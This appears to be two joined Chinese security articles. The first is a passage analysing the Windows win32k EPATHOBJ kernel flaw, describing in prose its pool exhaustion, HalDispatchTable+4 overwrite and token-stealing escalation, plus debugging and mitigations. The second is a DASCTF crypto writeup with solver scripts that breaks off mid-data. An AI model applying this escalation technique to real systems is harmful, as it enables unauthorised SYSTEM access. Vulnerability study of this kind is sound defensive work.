首先是内存消耗的方法。这里大佬使用的是一种名叫CreateRoundRectRgn的方法。这个函数创建的一个带圆角的矩形区域。当然这不是唯一的方法，只要能够消耗内存都可以，但是对于最先发现的Tavis
Ormandy，他认为这是最好的一种方法了。
接下来就是next的指向问题了，从崩溃到提权都是有一个过程的，先来想想如何让系统崩溃。这个比较好想。
**比如说先构造PATHRECORD这个节点，但是填充一些垃圾数据在里面，之后将这些节点压入PATHALLOC的内存池中——-池污染。**
这样在程序执行流程是这样的：
**第一次到flatten阶段的时候会构建一个畸形的链表。第二次到flatten阶段的时候，会遍历这个畸形链表，之后就链到了什么不知名的内存地址。这样就会导致程序崩溃**
仅仅是让程序崩溃还是不够的，最好是能够利用起来。于是乎就想到能不能在填充PATHRECORD这些节点的时候填充的不是垃圾数据，而是某个用户可控制的用户态的数据，之后再压入PATHALLOC的内存池中。这样在flatten阶段就会访问可控的ring3地址。
之后就到了最终阶段——-任意地址写。首先还是得介绍一下Tavis
Ormandy最强的操作。在构造PATHRECORD点的时候，next不在填写一些垃圾数据，而是指向自己。这样会导致
win32k!EPATHOBJ::bFlatten()
遍历链表时产生死循环。只要节点不是贝塞尔曲线（flag!=PD_BEZIERS），那么死循环就会成立。
那么这个死循环有什么用呢？
**等。等到不死循环的条件出现**
，而这不死循环的条件就是创建的新的节点是贝塞尔曲线的节点(flag==PD_BEZIERS)。这样EPATHOBJ::bFlatten
例程在循环到这个节点时将会以此节点为参数调用 EPATHOBJ::pprFlattenRec（这里新节点填充为CCCC是为了后面调试）
### 4.2 总体流程分析
接下来完整的走一遍这个利用的流程。
首先还是第一部分，通过调用newpahrec创建一个新的PATHRECORD节点。
第二部分就是对new_pathrecord的某些成员变量进行赋值
第三部分就是将新赋值完的节点前向节点加入链表中，因为ppr->prev这个时候已经被CCCC覆盖了，所以这里freelist_node->prev也为CCCC。
还是这个部分，因为if条件肯定成立，那么就会执行freelist_node->prev->next =
freelist_node这条语句。在上文的分析中知道,freelist_node->prev=0xCCCCC，那么freelist_node->prev->next就相当于[0xcccc+0]（next在PATHRECORD的偏移量为0）。
**这样总体流程就清楚了。也就是说将0xCCCCC替换成我们想要的地址，那么就可以实现我们想要的功能。**
那么替换成什么值合适呢？这里就用到先验知识的HALDISPATCHTABLE+4的知识。比如说这里换成HALDISPATCHTABLE+4，如果有call
[nt!HalDispatchTable+0x04] 的操作即意味着call到pprNew 处，因为（第一次）任意地址写入的是 pprNew 的基址。
但是还有一个参数的问题，如何取参数呢。大神真是一点空间都不放过。我们知道PATHRECORD在偏移为4的位置是prev指针，也就是我们任意地址写的位置，那么在0~3的偏移量之间还有4个字节，大神就打算构造一个jmp或者其他跳转语句到栈上去取参数（只要这个跳转语句为4个字节就好了）。不得不说大神就是大神
## 5、POC代码分析
此处分析的POC为《漏洞战争》配套资料中的POC。看雪论坛也有很多大佬发的自己写的POC（我是没有测试过的，不过敢发出来应该是有底气的）
首先是曲线的定义，这些可以在MSDN上找到
接着是结构体的定义，我们知道需要自己创建一个PATHRECORN节点，所以这个结构的定义是必不可少的
为了消耗内存池，这里的POC使用的是一种名叫创建大量圆角矩形区域（CreateRoundRectRgn），这样必不可少的就需要点来构造贝塞尔曲线
接着是一个从来没见过的结构定义，在网上搜一下可以发现类似的定义。这个类的意思是当SystemModuleInformation这个类成功调用ZwQuerySystemInformation
或 NtQuerySystemInformation的时候在返回值的缓冲区开头将会生成这个类
在它下面还有一个很类似的类。
接着就是一大段函数的声明，这里有一个比较不常见的类型FARPROC，它的定义：typedef (FAR WINAPI
*FARPROC)();就是一个远过程函数
稍微看一下这些函数的意思
第一个函数NtQuerySystemInformation用来获得一些只在内核态的系统信息，所有的信息都被定义为SYSTEM_INFORMATION_CLASS类。而SYSTEM_INFORMATION_CLASS这个类也可以找到其定义，其中的SystemModuleInformation是我们要用的
第二个函数NtQueryIntervalProfile在上面已经提到过了；
第三个PsReferencePrimaryToken获取参数中给定进程的primary TOKEN。
第四个PsLookupProcessByProcessId通过进程的进程ID，并返回一个指向进程EPROCESS结构的引用指针。EPROCESS结构式是一个不透明的结构，存在在ring0。但是可以在windbg使用本地内核调试查看它的内容
第五个HalDispatchTable在先验知识里已经提到过了
第六个HalQuerySystemInformation也在先验知识里提到过了
第七个TargetPid是目标进程的ID
第八个PsInitialSystemProcess是一个指向system进程的EPROCESS。所以同样可以用windbg本地内存调试查看
接着就是FindAndReplaceMember函数，这个函数的注释很清晰了。因为在windows中QWORD指针是需要对齐的，所以可以使用低三位进行快速引用计数。匹配之后就替换新值。
接下来分析Shellcode。思路是比较清楚的。第一个红框的内容先记下后面会用到。第二个红框就是获得当前目标进程的primary
token和系统进程的primary token。之后调用自己写的FindAndReplaceMember，将目标进程的primary
token替换成系统进程的。这也是先验知识里面提到的利用token提权的方法
按照EXP的顺序理论上应该分析看门狗线程和HalDispatchRedirect。但是为了更好的理解它们，应该把三个节点介绍完。
在POC中，主要是构造三个PATHRECORD。
**第一个是命名为PathRecord，这个节点的flag取为0，这样就会构成链向自己的无限循环** ；
**第二个是用于退出的，命名为ExploitRecordExit** ；
**第三个是用作攻击的，命名为ExploitRecord，它的prev指针将会指向HALDISPATCHTABLE+4的地方** 。
节点二，可以看到有个奇怪的赋值，在代码中跟随可以发现一些端倪
这里是 DispatchRedirect的赋值
继续跟随HalDispatchRedirect，发现它的定义。那这里到底是什么意思呢？0x40又代表什么呢？HalDispatchRedirect主要是用来产生一个stub地址表。0x40的偏移量是NtQueryIntervalProfile参数的位置。
但是还是不是很很明白有什么用，继续看源码。再回到DispatchRedirect赋值的地方，发现在它下面对Interval进行了赋值，赋值为ShellCode。
那这个Interval有什么用呢。我们在代码中发现，Interval被用作NtQueryIntervalProfile的第二个参数。又因为先验知识里面分析过了
nt!NtQueryIntervalProfile->nt!KeQueryIntervalProfile->call
[nt!HalDispatchTable+0x4]。因此执行到stub地址的时候，ShellCode
函数的地址总是在栈上，而且只要这几个函数的参数不变，这个偏移也都不会改变，这里是[ebp+0x40]
至于HalDispatchRedirect为什么这么多指令，并且还有inc
eax这样的指令。主要是因为下面的节点也就是节点三：ExploitRecord.next= (PPATHRECORD)
_DispatchRedirect。在 pprFlattenRec 返回后，会取到 ExploitRecord.next 作为下一个
pathrecord，若 ExploitRecord.next 地址未分配，肯定是各种异常。因此需要以_ DispatchRedirect
为地址，分配内存，为了用户态能分配成功，这个地址必须比较合适才行，因此就用到了 inc eax，和 后面的 jmp
[ebp+0x40]组成了地址。当然为了防止在 [ebp+0x40] 上内存分配失败， Tavis 又作了其他备选方案，就出现了后面的 inc ecx,
inc edx, inc ebx, inc esi….分别为 41， 42，43….
节点三，可以看到prev指向HalDispatchTable的第二个值
跟到HalDispatchTable[1]的定义,HalQuerySystemInformation这个函数上文已经提到了，就是进入内核态的一个关键
这样就理清了三个节点的关系，用下面这张图更好的说明一下
接下来分析看门狗线程，看门狗线程中有两个比较重要的函数。第一个WaitForSingleObject是用来等待互斥体超时。我们知道在上面建立了PathRecord使得链表进入的死循环，所以这个时候程序会一直遍历链表，调用这个函数就可以在一定的时间后跳出，等待下一步操作而不是真正的死循环在那里。第二个函数InterlockedExchangePointer就是在中断死循环之后的后续操作，这里将PathRecord原先指向自己的next指针借助InterlockedExchangePointer这个函数指向ExploitRecord。便于接下来的攻击利用
用一张图来说明调用看门狗线程之后三个节点的情况
到这对三个节点的分析基本上就快结束了，再回过头看看这个有漏洞的代码，对三个节点之间的关系再进行一次整理。可以根据备注进行理解。
这样就能得到三个节点最终的关系了
接下来就是分析主函数了，首先分析主函数中最简单的一部分就是消耗内存。POC
是通过CreateRoundRectRgn来消耗大量内存。当然这不是唯一方法。
在主函数的起始位置获取DLL中的函数，其中比较特备的就是Interval和SavedInterval，可以看到对Interval进行赋值的时候对Shellcode进行了强制转换，转换成立ULONG类型的指针。
通过NtQuerySystemInformation获取SystemModuleInformation信息，SystemModuleInformation这个结构在上文中已经提到了
根据结构中的偏移量算出需要的信息
搜索一个返回指令
保存分配的内存可用
这里有几个操作，主要说下与攻击有关的。WaitForSingleObject，在POC的前面又创建一个互斥体，之后CreateThread使用看门狗线程，因为死循环需要一定的时间，当超过了一定时间之后，看门狗线程就开始工作，也就是上文提到的，运行完看门狗线程之后三个节点的关系
开始将点进行贝塞尔曲线flatten
## 6、POC代码调试
理解清POC的源码就要动手调一调才能更好的理解
先来验证一些这个漏洞的成因点，在这里运行poc.exe。因为这个漏洞是基于压力测试而发现的，需要将内存池中的空闲内存消耗干净才能触发漏洞，所以这里需要多运行几次。在这里使用双机内核调试，当系统奔溃的时候Windbg捕捉到了
通过查看函数调用发现存在漏洞的函数与之前的分析一样，这就可以验证漏洞的成因确实是如上面分析的
验证完漏洞之后在内存层面走一下这个过程。可以知道在POC中关键的就是BeginPath开始循环，所以就在BeginPath处下个延迟断点，至于为什么要下延时断点，主要是因为之前下bp断点失败，猜测是win32k.sys此时还未加载
运行之后windbg断在此处
之后对freepathalloc下断点，运行几步走到这里。
至于为什么要断在这里可以参照IDA（这里地址与IDA的地址不相同，但是偏移量相等，在IDA中freepathalloc的地址是BF877B4A，那是偏移0x41就是BF877B8B）.通过伪C代码可以发现，freelist会将节点（PATHRECORD）回收直接链入链表freelist中。于是乎断在这里就可以查看要链入链表的节点了
因为这里是通过EAX传值，所以可以直接查看EAX的数据，通过对照PATHRECORD的数据结构的偏移量可以知道各个数值的含义
分析完BeginPath接着分析PolyDraw，在NtGdiPolyDraw
下个断点。但是要跟到哪里呢？这个时候还得IDA来静态分析一把。经过一波跳转，到了之前分析过的newpathalloc
于是乎，在newpathalloc下断点然后运行起来
之后继续运行，可以在IDA中查看PATHRECORD，通过IDA的分析知道需要运行到的位置，这里还是通过EAX来传值，所以我们可以运行到mov
ecx,[eax]这条指令后查看eax的值，或者dec这条指令查看ecx的值，结果都是一样的
这里有个值得注意的地方，就是这个PATHRECORD的next指针指向的就是自己。（观察ecx）
之后回到createrec这个函数中，有一个bXformRound函数用作数据复制，可以跟到这个函数中去看看具体的参数数值。先对bXformRound下个断点。通过IDA分析可以知道进行数据复制的操作是在这个函数偏移1B的位置，所以运行到那里即可。但是在实际运行过程中发现运行到0x16的偏移位置其实就可以查看两个拷贝的参数内容了
上图中的两个红框就是参数的地址，直接可以查看参数的内容，可以看到对于第二个参数里的数据内容比较杂乱，但是对于从ffa1208f开始的内容就是比较固定的，就是第一个参数左移4位的值
继续往下跟应该可以找到左移的操作指令
PolyDraw分析到这里就差不多了，接下来应该分析EndPath，还是先从IDA中来看比较方便一些。分析之后觉得这里面应该没有什么值得注意的地方
接着就是FlattenPath这个会触发漏洞的函数了，但是因为这个漏洞是基于压力测试的，需要多运行几次，所以为了跟踪它，选择下一个条件断点。下断点的依据如下。因为绝对地址不大靠谱，所以这里选择相对偏离来下断点。
根据偏移下条件断点
跑起来，断下。可以发现此时新建的PATHRECORD的值就是0x80000，记住此时的地址ffac3f54
之后按p开始跟，跟到这个函数运行结束的位置
再跟一步就到了bFlatten这个函数，可以发现此时的PATHRECORD节点的next指针还是0x80000。并且可以发现此时的地址也是ffac3f54
（因为这个调试过程比较长，前面算是一次性调的，从这里开始算是第二次开始，但是基本思路是一样的。）这里可以看到PathRecord指向的就是自己。符合POC中的代码
但是如果继续运行就会报错
再G运行一下系统就奔溃了，到此使得系统崩溃的POC分析完毕。
## 7、漏洞补救
在正式补丁没有出来之前有几个临时方案。
临时补丁方案 A：主动清零池中的数据
优点：逻辑上容易想到；pprNew.next 如果为 NULL 意味着尾节点
缺点：定位 freepathalloc 等相对复杂；PATHRECORD 链表其它节点丢失
临时补丁方案 B：Patch 池计数器比较代码，禁用池机制
优点：不需要 Inline Hook，1字节热补丁
缺点：PATHALLOC 池机制被禁用；PATHRECORD 链表其它节点丢失
正式补丁方案 A：重写错误处理代码
恢复链表正确的形态
正式补丁方案 B：重写链表操作代码
链表操作应保证原子性
## 8、漏洞回顾
## 9、总结
这是本菜鸟第一次接触Windows内核的相关漏洞，虽然这个漏洞年代比较久远，但是作为一个菜鸟来说，体验感还是挺好的。
路漫漫其修远兮，吾将继续努力 | 社区文章 |
# DASCTF 八月赛 Crypto 部分Writeup
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
由于比赛的时间和上课的时间冲突了，只抽空做了一下crypto3。赛后有把没有做的题做了一下，不得不说安恒月赛的水平越来越高，比某guo赛强很多(吹一波师傅们)。
## strange_LSB
首先分析一下源码：
def get_N():
BITS = 128
bits = 70
power = 4
while 1:
r_p, r_q = randint(1 << bits, 1 << bits + 1), randint(1 << bits, 1 << bits + 1)
p = randint(1 << BITS, 1 << BITS + 1) ** power + r_p
q = randint(1 << BITS, 1 << BITS + 1) ** power + r_q
N = p * q
if isPrime(p) == True and isPrime(q) == True:
return r_p, r_q, p * q
m = bytes_to_long(flag)
e = 0x20002
r_p, r_q, N = get_N()
c = pow(m, e, N)
print(r_p, r_q)
print(N)
print(c)
我们发现`p`和`q`都是形如`x^4+a`其中`x`是128位的数，而`a`是70位的数。假设`p=x^4+a`，`q=y^4+b`很容易得到`n=p*q=(x*y)^4+a*y^4+b*x^4+a*b`
由于`a和b过小`，如果对`n`直接开四次方根，可以得到`n^(1/4) == x*y`,验证代码如下：
from gmpy2 import *
from Crypto.Util.number import isPrime
from random import randint
def test():
BITS = 128
bits = 70
power = 4
while 1:
r_p, r_q = randint(1 << bits, 1 << bits + 1), randint(1 << bits, 1 << bits + 1)
x = randint(1 << BITS, 1 << BITS + 1)
y = randint(1 << BITS, 1 << BITS + 1)
p = x** power + r_p
q = y ** power + r_q
N = p * q
tmp = iroot(N,4)[0]
print(x*y == tmp)
if isPrime(p) == True and isPrime(q) == True:
return r_p, r_q, p * q
test()
于是可以根据`n^(1/4) == x*y`以及`p=x^4+a`，`q=y^4+b`求解`x和y`其中`a,b`均已知，使用sage求解方程：
# Product =
Product = 213145517693473276472741453960288533380429305903664848348709095184411519973440
r_p,r_q = 2328957326808590967503,1461823189315446122067
n = 2063976825250272595388593010902135884890103500050668819831297298752625852801511751408065791793019547189652146900555099774958963484251389843293161492169372162099883268521841628059721206917183539122495978771222844176897602295938111287844515247614001317395469781055421827261855002882782439392377329027883959379213
# (x*y) == iroot(n,4)[0]
# (x^4+a)*(y^4+b) == n
var('x,y')
eq1 = x*y == Product
eq2 = (x^4+r_p)*(y^4+r_q) == n
solve([eq1,eq2],[x,y])
#x = 411149993498066384380477696729089782688
#y = 518413039192899046033157413963674073130
于是可以分解`n`，得到`p,q`，不过需要注意的是`gcd(e,phi) == 2`，我们只需要构造出 `m^(2*0x10001*b) mod
n`即可，其中有`0x1001*b = 1 mod phi`然后对得到`m^2 mod n`开二次方根,最终脚本如下：
from gmpy2 import *
r_p,r_q = 2328957326808590967503,1461823189315446122067
n = 2063976825250272595388593010902135884890103500050668819831297298752625852801511751408065791793019547189652146900555099774958963484251389843293161492169372162099883268521841628059721206917183539122495978771222844176897602295938111287844515247614001317395469781055421827261855002882782439392377329027883959379213
c = 1547619272568821977924291607912472468030540633498046405850444894565247157649485437790107315326889134051033004979821144414033498309691970259960647249579974375705070385006255462150657629039234264256644150151347889353513962706887104364057437209020689956808789043545320455581507831694598090423468743540228515368341
x = 411149993498066384380477696729089782688
y = 518413039192899046033157413963674073130
p = x**4+r_p
q = y**4+r_q
assert is_prime(q) and is_prime(q) and p*q == n
phi = (p-1)*(q-1)
e = 0x20002
# dd*(e//2) = 1 mod phi ==> dd*0x10001 = 1 mod phi
dd = invert(e//2,phi)
# c == m^e
# m^(e*dd) mod n ==> n^(2*0x10001*dd) mod n ==> m^2 mod n
M = pow(c,dd,n)
assert iroot(M,2)[1] == True
flag = iroot(M,2)[0]
print(bytes.fromhex(hex(flag).strip("0xL")))
## math_stream
个人认为本次比赛最难的一题，题面如下：
from Crypto.Util.number import isPrime, getPrime, bytes_to_long
from random import randint
flag = b'DASCTF{********************************}'
def generate():
n = getPrime(1024)
a, c = randint(1, n), randint(1, n)
b = a + 1
return a, b, c, n
def get_stream(target):
stream = []
for i in range(target + 1):
if i < 2:
t = randint(1, n)
stream.append(t)
else:
stream.append((a * stream[i - 2] + b * stream[i - 1] + c) % n)
if i > 300 and i < 307:
print(stream[i])
return stream
target = 2**1024
a, b, c, n = generate()
print((a,b,c,n))
stream = get_stream(target)
plain = bytes_to_long(flag)
cipher = plain ^ stream[target]
print(cipher)
这道题有两个考点，第一个考点就是如何恢复参数`a,b,c,n`，第二个难点是`target`过大，如果使用题目种的方法计算会爆内存。
**恢复参数**
熟悉`LCG`的选手应该对此类参数恢复认识比较深刻，不过次题稍微有所变化。我们发现`s[i] = a*s[i-2]+b*s[i-1]+c mod
n`有四个未知参数，且每一项与其前两项相关。如果我们将`n`恢复出来，剩下的问题就迎刃而解了。那么如何恢复`n`呢？？考虑两个同余式，`t1 = mod
n`以及`t2 = 0 mod n`，我们对其稍加变化得到`t1 = k1*n`,`t2 =
k2*n`，此时我们对`t1,t2`求解最大公因数，可以得到`n`
或者`k*n`，对于`k*n`我们只需要分解它即可得到`n`。那么我们需要利用连续的`6`个`s[i]`构造出至少两个模`n`同余`0`的整数，然后对其求最大公因数，便可以得到`n`进而得到`a,b,c`
不妨设六个输出分别为`x1,x2,x3,x4,x5,x6`，由于`x[i] = a*x[i-2]+b*x[i-1] +c mod n`，其中 `b =
a+1`,于是有
`x[i] = a*x[i-2] + a*x[i-1] + x[i-1] +c mod n`即`x[i] - x[i-1] = a*x[i-2] +
a*x[i-1] + c mod n`
令`yi`分别为
y1 = x3-x2 = a(x1+x2)+c
y2 = x4-x3 = a(x2+x3)+c
y3 = x5-x4 = a(x3+x4)+c
y4 = x6-x5 = a(x4+x5)+c
令`zi`分别为
z1 = y2 - y1 = a(x3-x1)
z2 = y3 - y2 = a(x4-x2)
z3 = y4 - y3 = a(x5-x3)
令`ti`分别为
t1 = z1*(x4-x2) = a(x3-x1)(x4-x2)
t2 = z2*(x3-x1) = a(x3-x1)(x4-x2)
t3 = z2*(x5-x3) = a(x5-x3)(x4-x2)
t4 = z3*(x4-x2) = a(x5-x3)(x4-x2)
求`gcd(t1-t2,t3-t4)`可以的`kn`，幸运的是题目中的数据求出的`k`恰好为`1`。恢复得到`n`后，可以利用`z1`的等式求`a`,同样的可以求得`c`（需要注意的是不能直接用`z1
* inverse(x3-x1) mod n`求`a`，必须将`z1`转换成`(x4+x2-2*x3)`然后求解）
**计算s[target]**
由于`target`过大，我们无法通过递推式直接求解，笔者这里使用了coin师傅的做法，即使用矩阵快速幂快速求解`s[target]`
根据递推关系式有 `s[i] = a*s[i-2]+b*s[i-1]+c mod n` 我们将其转化成矩阵的形式,可以得到
由于是递推的形式，于是有
也就是说，我们只需要将系数矩阵进行`k`次运算便可以得到最终结果的系数矩阵，然后与原始矩阵相乘便可以得到`s[target]`
最终的exp如下：
from Crypto.Util.number import *
x1 = 123702839015756050884261730350882737708358949223717439499184803586403380580917033774031115610745320766887583414238651786366942713037837183155670218651008201659397071753885966029204756119524199815830117337679903000409946531282131341544499373725768763177481236458288527526859422459135345981831473247316555618560
x2 = 53924539754438007029501782029367518619266978487508630921932520518338714507664032847344261722536853774745396939590212348751300654791168048424611586167435934594214127893014772880318410947388412139484910911558913354881832668949036424760411326983813389804113790149675585445672972740198653398937213550096612898644
x3 = 63167700157587157707659591399396856546372104423703909698033441469110658576803656359757694321232303912965997844863919208184964899691086676221424510238937996039639020372184420079106454203010811220417415790732729673830907444478937628707872186593129029778616120328244635824580198884662150104071084993653737914022
x4 = 60900060027375388502954968533962551010895369320035053843073456747137873661715722305461794383581233299465108460448730880547665937249092184288347189085393775979063774890144837289588709330708116910722986763529852613180587935929862087569945164722421961012524239918061319269183814829620043095252880283996001514164
x5 = 67113877662673866233083488077860646719333535770452193680770137339822227232411855308016162556072517267428842392157280102333021460946927124183519015361915428846609475511896652480835848461061078559069446935766782858959584622772958271986367572980550469374057939856055426306880686615182779562168848708759248213327
x6 = 35321475740169398933875140842714262960904281331750205573172983410230385562745162356815900214941351338686778803036306575637404857858578337229023073873912358708980334069653782813016210177757649710822363593438233897497585809695658043901986740902609804765459645039370188002526182350951413827277418881541889614752
cipher = 6257754829567986763892047832635830335816090670173191750751645793632788077917375687942054101544041498378086719313412925093077211368386033569497742486801694329756989184534154729709541023134576678323307630303652989589994288555559228966732861033813909078153507299492167442982631897158564781706799632969673086582
from gmpy2 import *
y1 = x3-x2
y2 = x4-x3
y3 = x5-x4
y4 = x6-x5
z1 = y2 - y1
z2 = y3 - y2
z3 = y4 - y3
A = z1*(x2-x4)
B = z2*(x1-x3)
C = z2*(x3-x5)
D = z3*(x2-x4)
n = gcd(A-B,C-D)
assert is_prime(n)
a = (x4+x2-2*x3)*inverse(x3-x1,n)%n
b = a + 1
c = (x3-a*x1-b*x2)%n
assert x4 == (a*x2+b*x3+c)%n
assert x5 == (a*x3+b*x4+c)%n
assert x6 == (a*x4+b*x5+c)%n
target = 2**1024
def recover(a,c,n,now,pre,limit=301):
b = a+1
while limit:
now,pre = pre,((now-c-b*pre)*inverse(a,n))%n
limit -= 1
return int(pre),int(now)
a0,a1 = recover(a,c,n,x2,x1)
# 矩阵乘法
def mul(A,B,n):
C = [[0,0,0],[0,0,0],[0,0,0]]
for i in range(3):
for j in range(3):
for k in range(3):
C[i][j] = (C[i][j]+A[i][k]*B[k][j])%n
return C
# 矩阵快速幂
def matrix_pow(A,k):
I = [
[1,0,0],
[0,1,0],
[0,0,1]
]
while k>0:
if k&1:
I = mul(I,A,n)
A = mul(A,A,n)
k //=2
return I
# 原始矩阵，这里笔者将初始的s[0],s[1] 恢复了出来
origin = [
[a1,a0,1],
[0,0,0],
[0,0,0]
]
# 系数矩阵
coff = [
[b,1,0],
[a,0,0],
[c,0,1]
]
# 目标的系数矩阵 可以通过矩阵快速求解
COFF = matrix_pow(coff,target-1)
# 最终的结果
RES = mul(origin,COFF,n)
stream = int(RES[0][0])%n
flag = cipher^stream
print(long_to_bytes(flag))
## Game114514
这道题是源自`nsucrypto 2020`上的一道改编题，有兴趣的读者可以自行google。题面如下：
from Crypto.Util.number import *
from secret import flag
def genKey():
p, q, r = getStrongPrime(512), getStrongPrime(512), getStrongPrime(512)
n = p * q * r
N = getRandomNBitInteger(2048) + 114514
h = pow(11, 2020, N) * (p**2) + pow(45, 2020, N) * (q**2) + pow(14, 2020, N) * (r**2)
h %= N
prikey = p, q, r
pubkey = n, h, N
return prikey, pubkey
def leak():
prikey, pubkey = genKey()
print(prikey[-1])
print(pubkey)
print(long_to_bytes(pow(bytes_to_long(flag), 0x10001, pubkey[0])))
leak()
'''
10239306894596345639236857549916052649308185323518947210543117431020838518896685928967228477542397559834309548973113911963605527905768865151004026488002001
(950011144706585173040346411219364953625466585615355410255812718691071135788174403542375786631101982145942591776585786129800305449594376958613054582994092738689865963264366583306474256168938125436839905240527193347815308291717160425478107410162284856407031175529497870108531319160329226235433600642949059132425064084520547134426901012063053260740485712639947158958018914357078515205544835414225928650602816394134098408766194935057220248610138255820083487975177841, 21845857294867800253967572483849436586466097787581764670569338069105518885425999674533902361247100300133107524692755731302138893826828614419216743419929405090066603853587168841953460023313440967804760511172469644482888563447311330068029693264636332400460522015544196045907743566376516760896674109539257774660389303282381801472315963493071381982569866891274109528852684214970613999327587661933693311084291006897450171519933769360217856463636671441159748185690007577600849938135435924224682264445569689364902460389631331260563904831314100885117032357972432445404061393038108841617572136921335397901954583048372618097362, 31965147293888675740203439764799829784520227891846963591296575627972550910339878090903426907141529767159158546614829904656311989936505471896532096094193238298363694007139459659240391801384569276567972248458362985516106174346014641864342582173706703805542459282608624826403810815975179476327863662631681133966307722920056337352630101824259669740913078488217166961256232508892213581337616407618268731068455619843843314400038408252281146580404528613374235502102493763026383481939170053271778897261922170229088391513609980189281611652128299008626921592268614012904719221701040158989306699509941421276613062052254533708176)
b'\x19D$\xc1\x16\xb5\xdd\xd4\xca`f\x94P0\x1eAP}\x9d\xb2\x16\x13+\xbfe\xc6\xae\xb7YWur\xae\xdc[\x08\xa1T\xd2\xd0\xc8i;\xbf\xed3\x05\xce\xd4\xa9\xf0\x80\xbdV-\xac\xc3\xf3\x80\xa5\xb8lV\t\xf3\xf6\xac\x06\x14\x9e<\xb5T}?\xc6\xdc\x90\xbeD\x19\xef8\xf8\x06\x08\xa4\xf1\xdb\xbe\xea}\xc9\xdeg\x14\x96\xfa\xce\x16*G \x8f\x8e\x7f\x9a\xf3.\x94\x00n2o]\x11\xb5\xb1\xa7\xcb4\x0e\xd8\x81\x16\x88\xf5XY\x9a\xd6l\x90\x16J1\xd9\x9a\xa1\xe2e\x0cC\xe3\xe0\xb50\xb1\x18\x1b\x82),l)*\xf5\xdf;(n|\xe5\x91\xbf\x86\xde"\xcb\xc0v\xb4\xb3\xbc\xbe%\xa9aqk\xa0\x85,\xcck\x1e(\x10\xa7\xd51\x02'
'''
我们发现`n`是三素数组合的模数，其中素数`r`已经给出，于是可以将题目化简为：
构造如下同余式
则有
于是有向量`(a1,a2)`在如下的格中
通过格基规约，可以得到较小的向量`(a1,a2)`
且k的范围比较小，这里没有具体推出，大概-20 ~ 20 就够了
最终脚本如下：
from Crypto.Util.number import *
from sage.all import *
r = 10239306894596345639236857549916052649308185323518947210543117431020838518896685928967228477542397559834309548973113911963605527905768865151004026488002001
n,h,N = (950011144706585173040346411219364953625466585615355410255812718691071135788174403542375786631101982145942591776585786129800305449594376958613054582994092738689865963264366583306474256168938125436839905240527193347815308291717160425478107410162284856407031175529497870108531319160329226235433600642949059132425064084520547134426901012063053260740485712639947158958018914357078515205544835414225928650602816394134098408766194935057220248610138255820083487975177841, 21845857294867800253967572483849436586466097787581764670569338069105518885425999674533902361247100300133107524692755731302138893826828614419216743419929405090066603853587168841953460023313440967804760511172469644482888563447311330068029693264636332400460522015544196045907743566376516760896674109539257774660389303282381801472315963493071381982569866891274109528852684214970613999327587661933693311084291006897450171519933769360217856463636671441159748185690007577600849938135435924224682264445569689364902460389631331260563904831314100885117032357972432445404061393038108841617572136921335397901954583048372618097362, 31965147293888675740203439764799829784520227891846963591296575627972550910339878090903426907141529767159158546614829904656311989936505471896532096094193238298363694007139459659240391801384569276567972248458362985516106174346014641864342582173706703805542459282608624826403810815975179476327863662631681133966307722920056337352630101824259669740913078488217166961256232508892213581337616407618268731068455619843843314400038408252281146580404528613374235502102493763026383481939170053271778897261922170229088391513609980189281611652128299008626921592268614012904719221701040158989306699509941421276613062052254533708176)
h = (h-pow(14, 2020, N) * (r**2))%N
def Solve(n,m,h):
inv = (45**2020)*inverse(11**2020,m)
lattice = Matrix([
[1,inv],
[0,m]
])
# d = lattice.det()
res = lattice.LLL()
a1 = int(res[0,0])
a2 = int(res[0,1])
if a1<0:
a1,a2 = -a1,-a2%m
tmp = int(a1*inverse(11**2020,m)*h)%m
# right = a1*p**2+a2*q**2
var('x')
var('y')
n2 = n*n
for i in range(-20,20):
print(i)
cur = tmp + i*m
eq1 = x*y==n
eq2 = a2*x*x-cur+a1*y*y == 0
res = solve([eq1,eq2],x,y)
print(res)
# Solve(int(n//r),int(N),h)
p = 9552641813064463415650665555944096831861275975583818855746766413412522449762636601729318577145972252465103719236901124310326500069446467666916681091584951
q = 9712580837261650323984493004818315148376274544819233079130439582789536502614676519614339721770095880812234709221612563734970622138908361546042552704780391
phi = (p-1)*(q-1)*(r-1)
d = inverse(65537,phi)
c = bytes_to_long(b'\x19D$\xc1\x16\xb5\xdd\xd4\xca`f\x94P0\x1eAP}\x9d\xb2\x16\x13+\xbfe\xc6\xae\xb7YWur\xae\xdc[\x08\xa1T\xd2\xd0\xc8i;\xbf\xed3\x05\xce\xd4\xa9\xf0\x80\xbdV-\xac\xc3\xf3\x80\xa5\xb8lV\t\xf3\xf6\xac\x06\x14\x9e<\xb5T}?\xc6\xdc\x90\xbeD\x19\xef8\xf8\x06\x08\xa4\xf1\xdb\xbe\xea}\xc9\xdeg\x14\x96\xfa\xce\x16*G \x8f\x8e\x7f\x9a\xf3.\x94\x00n2o]\x11\xb5\xb1\xa7\xcb4\x0e\xd8\x81\x16\x88\xf5XY\x9a\xd6l\x90\x16J1\xd9\x9a\xa1\xe2e\x0cC\xe3\xe0\xb50\xb1\x18\x1b\x82),l)*\xf5\xdf;(n|\xe5\x91\xbf\x86\xde"\xcb\xc0v\xb4\xb3\xbc\xbe%\xa9aqk\xa0\x85,\xcck\x1e(\x10\xa7\xd51\x02')
m = pow(c,d,n)
print(long_to_bytes(m))
## White_Album
一道简单的coopersmith,题面如下：
from gmpy2 import *
from Crypto.Util.number import *
from secret import secret
from random import *
e = 3
def generate(nbits):
while 1:
p = getPrime(nbits)
if gcd(p - 1 , e) == 1:
return p
p = generate(1024)
q = generate(1024)
r = generate(1297)
n = p * q * r
phi = (p-1) * (q-1) * (r-1)
assert gcd(phi , e) == 1
d = invert(e , phi)
m = bytes_to_long(secret)
c = pow(m ,e , n)
print('n =' , n)
print('c =' , c)
print('r =' , r)
print(pow(d , e , n))
#n = 40922607845571974639094308742839206224146242389200435546826449471547649318068202214315052746164700327884669920807873877153302365891057342964514972877830721839970583360181044952369529567877302250138627214156134324273006643743832782064762132241047824323326123112192584240095197926174334750362517226526895187416227397380891562008947088379640163835124837990827356906632844228753638684872217058005131262474768812560438298637695988660070178861609979328159041878343033363917985727840578526808892108373956636957114175952508811309317306118491533574932356699953256247834452547959548582730790458569189430889763614562381519010410402538498577496011072255925614032581014922736616684083563289722400846219599806133230800588239147160296752730116141191660418633382192636140044298733658684284938485029286103007107468609777892180250933472775790364225946138197236365379495695466008946936792522060717058044119933541902711163141980459067895658615062695484187688189996012075196840428862584331863913156531842723169921683221419730779
